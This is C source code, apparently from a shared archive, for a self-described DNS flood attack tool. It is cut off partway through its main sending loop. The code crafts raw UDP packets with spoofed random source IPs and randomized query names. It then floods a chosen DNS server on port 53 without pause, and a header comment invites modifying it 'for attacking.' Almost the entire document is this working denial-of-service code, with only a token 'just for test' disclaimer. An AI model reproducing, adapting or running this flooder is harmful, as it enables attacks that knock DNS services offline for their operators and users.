自己编写DNS_Flood攻击系统(仅仅个人测试使用).zip

// code by yunshu([email protected], 2016-07-11. just for test, have fun. // you should change some codes for attacking. #include <stdio.h> #include <netinet/in.h> #include <netdb.h> #include <sys/time.h> #include <sys/types.h> #include <unistd.h> #include <stdlib.h> #include <signal.h> #include <pthread.h> #include <errno.h> #include <string.h> typedef struct ip_hdr { unsigned char h_verlen; unsigned char tos; unsigned short total_len; unsigned short ident; unsigned short frag_and_flags; unsigned char ttl; unsigned char proto; unsigned short checksum; unsigned int sourceIP; unsigned int destIP; }IP_HEADER; typedef struct udp_hdr { unsigned short uh_sport; unsigned short uh_dport; unsigned short uh_length; unsigned short uh_checksum; }UDP_HEADER; typedef struct usd_hdr { unsigned long saddr; unsigned long daddr; char mbz; char ptcl; unsigned short udpl; }USD_HEADER; typedef struct dns { unsigned short tid; unsigned short flags; unsigned short queries; unsigned short answers; unsigned short auth; unsigned short additional; }DNS_HEADER; typedef struct query { char * name; unsigned short type; unsigned short class; }QUERY_HEADER; int const HOST_LENGTH = 3; unsigned long long sleeptime, starttime, outcount = 0; int pkt_then_sleep = 0; unsigned short CheckSum(unsigned short * buffer, int size) { unsigned long cksum = 0; while (size > 1) { cksum += *buffer++; size -= sizeof(unsigned short); } if (size) { cksum += *(unsigned char *) buffer; } cksum = (cksum >> 16) + (cksum & 0xffff); cksum += (cksum >> 16); return (unsigned short) (~cksum); } void MySleep(unsigned int micro_second) { struct timeval t_timeval; t_timeval.tv_sec = 0; t_timeval.tv_usec = micro_second; select( 0, NULL, NULL, NULL, &t_timeval ); } void PaddingQuery( char *buffer, char *base_name ) { char *tmp = (char *)malloc(strlen(base_name)+HOST_LENGTH+1); if( NULL == tmp ) { fprintf( stderr, "malloc for query error: %s\n", strerror(errno) ); exit -1; } memset( tmp, 0, strlen(base_name)+HOST_LENGTH+1 ); sprintf( tmp, "%c%c%c%s", rand()%25+97, rand()%25+97, rand()%25+97, base_name ); int length_pos = 0; int loop_num = 1; char *token = strtok( tmp, "." ); while( NULL != token ) { if( loop_num == 1 ) { length_pos = 0; memset( buffer, strlen(token), 1 ); strcpy( buffer+length_pos+1, token ); length_pos = length_pos + strlen(token) + 1; } else { memset( buffer+length_pos, strlen(token), 1 ); strcpy( buffer+length_pos+1, token ); length_pos = length_pos + strlen(token) + 1; } token = strtok( NULL, "." ); loop_num ++; } free(tmp); } void Init( char *buffer, int buffer_size, char *ip, char *base_name ) { IP_HEADER IpHeader; UDP_HEADER UdpHeader; USD_HEADER UsdHeader; DNS_HEADER DnsHeader; QUERY_HEADER QueryHeader; // whole udp packet except ip header and usd_header int total_packet_len = buffer_size; // udp packet with usd_header int udp_with_usd_len = total_packet_len - sizeof(IP_HEADER) + sizeof(USD_HEADER); char *udp_packet = (char *)malloc( udp_with_usd_len ); if( NULL == udp_packet ) { fprintf( stderr, "malloc udp packet error: %s\n", strerror(errno) ); exit; } memset( udp_packet, 0, udp_with_usd_len ); IpHeader.h_verlen = (4<<4 | sizeof(IpHeader)/sizeof(unsigned int)); IpHeader.tos = 0; IpHeader.total_len = htons( total_packet_len ); IpHeader.ident = rand() % 30000 + 9876; IpHeader.frag_and_flags = 0x0000; IpHeader.ttl = 255; IpHeader.proto = IPPROTO_UDP; IpHeader.checksum = 0x0000; // 1.1.1.1 ----------- 250.250.250.250 IpHeader.sourceIP = htonl(rand( ) % 4193909242 + 16843009); //IpHeader.sourceIP = inet_addr("10.23.230.110"); IpHeader.destIP = inet_addr(ip); UdpHeader.uh_sport = htons( rand() % 8000 + 2345 ); UdpHeader.uh_dport = htons(53); UdpHeader.uh_length = htons( total_packet_len - sizeof(IP_HEADER) ); UdpHeader.uh_checksum = 0x0000; UsdHeader.saddr = IpHeader.sourceIP; UsdHeader.daddr = IpHeader.destIP; UsdHeader.mbz = 0x00; UsdHeader.ptcl = IPPROTO_UDP; UsdHeader.udpl = UdpHeader.uh_length; DnsHeader.tid = rand() % 40000 + 12345; DnsHeader.flags = 0x0001; DnsHeader.queries = 0x0100; DnsHeader.answers = 0x0000; DnsHeader.auth = 0x0000; DnsHeader.additional = 0x0000; QueryHeader.type = 0x0100; QueryHeader.class = 0x0100; memcpy( (void*)buffer, (void*)&IpHeader, sizeof(IpHeader) ); IpHeader.checksum = CheckSum( (unsigned short *) buffer, sizeof(IpHeader) ); memcpy( (void*)buffer, (void*)&IpHeader, sizeof(IpHeader) ); memcpy( udp_packet, (void*)&UsdHeader, sizeof(UsdHeader) ); memcpy( udp_packet+sizeof(UsdHeader), &UdpHeader, sizeof(UdpHeader) ); memcpy( udp_packet+sizeof(UsdHeader)+sizeof(UdpHeader), &DnsHeader, sizeof(DnsHeader) ); PaddingQuery( udp_packet+sizeof(UsdHeader)+sizeof(UdpHeader)+sizeof(DnsHeader), base_name ); memcpy( udp_packet+sizeof(UsdHeader)+sizeof(UdpHeader)+sizeof(DnsHeader)+1+HOST_LENGTH+strlen(base_name)+1, ((char*)&QueryHeader)+sizeof(char *), sizeof(QueryHeader)-sizeof(char*) ); UdpHeader.uh_checksum = CheckSum( (unsigned short *)udp_packet, udp_with_usd_len ); memcpy( udp_packet+sizeof(UsdHeader), &UdpHeader, sizeof(UdpHeader) ); memcpy( buffer+sizeof(IpHeader), udp_packet+sizeof(UsdHeader), udp_with_usd_len - sizeof(USD_HEADER) ); free( udp_packet ); } void Flood( char *dst_ip, char *base_name ) { int sock; int flag = 1; // sizeof(char *) means the length of "name" field in the query header. // 2 means, 0x00 and the length of host, 0x03www0x06google0x03com0x00, fuck dns protocol int total_packet_len = sizeof(IP_HEADER) + sizeof(UDP_HEADER) + sizeof(DNS_HEADER) + sizeof(QUERY_HEADER) + strlen(base_name) + HOST_LENGTH + 2 - sizeof(char *); char *buffer = (char *)malloc( total_packet_len ); if( NULL == buffer ) { fprintf( stderr, "malloc memory for packet error.\n" ); return; } struct sockaddr_in sa; memset( &sa, 0, sizeof(struct sockaddr_in) ); sa.sin_family = AF_INET; sa.sin_port = htons(53); sa.sin_addr.s_addr = inet_addr(dst_ip); if( (sock = socket(PF_INET, SOCK_RAW, IPPROTO_UDP)) < 0 ) { fprintf( stderr, "create socket error: %s\n", strerror(errno) ); free(buffer); return; } if( setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (int *)&flag, sizeof(flag)) < 0 ) { fprintf( stderr, "setsockopt error: %s\n", strerror(errno) ); free(buffer); return; } int number = 0; if( sleeptime == 0 ) { while( 1 ) { memset( (void *)buffer, 0, sizeof(buffer) ); Init( buffer, total_packet_len, dst_ip, base_name ); sendto( sock, buffer, total_packet_len, 0, (struct sockaddr *)&sa, sizeof(struct sockaddr_in) ); outcount ++; } } else { while( 1 ) { memset( (void*)buffer, 0, sizeof buffer ); Init( buffer, total_packet_len, dst_ip, base_name ); sendto( sock, buffer, total_packet_len, 0, (struct sockaddr *)&sa, sizeof(struct sockaddr_in) ); outcount ++; number ++; if( number == pkt_then_sleep ) {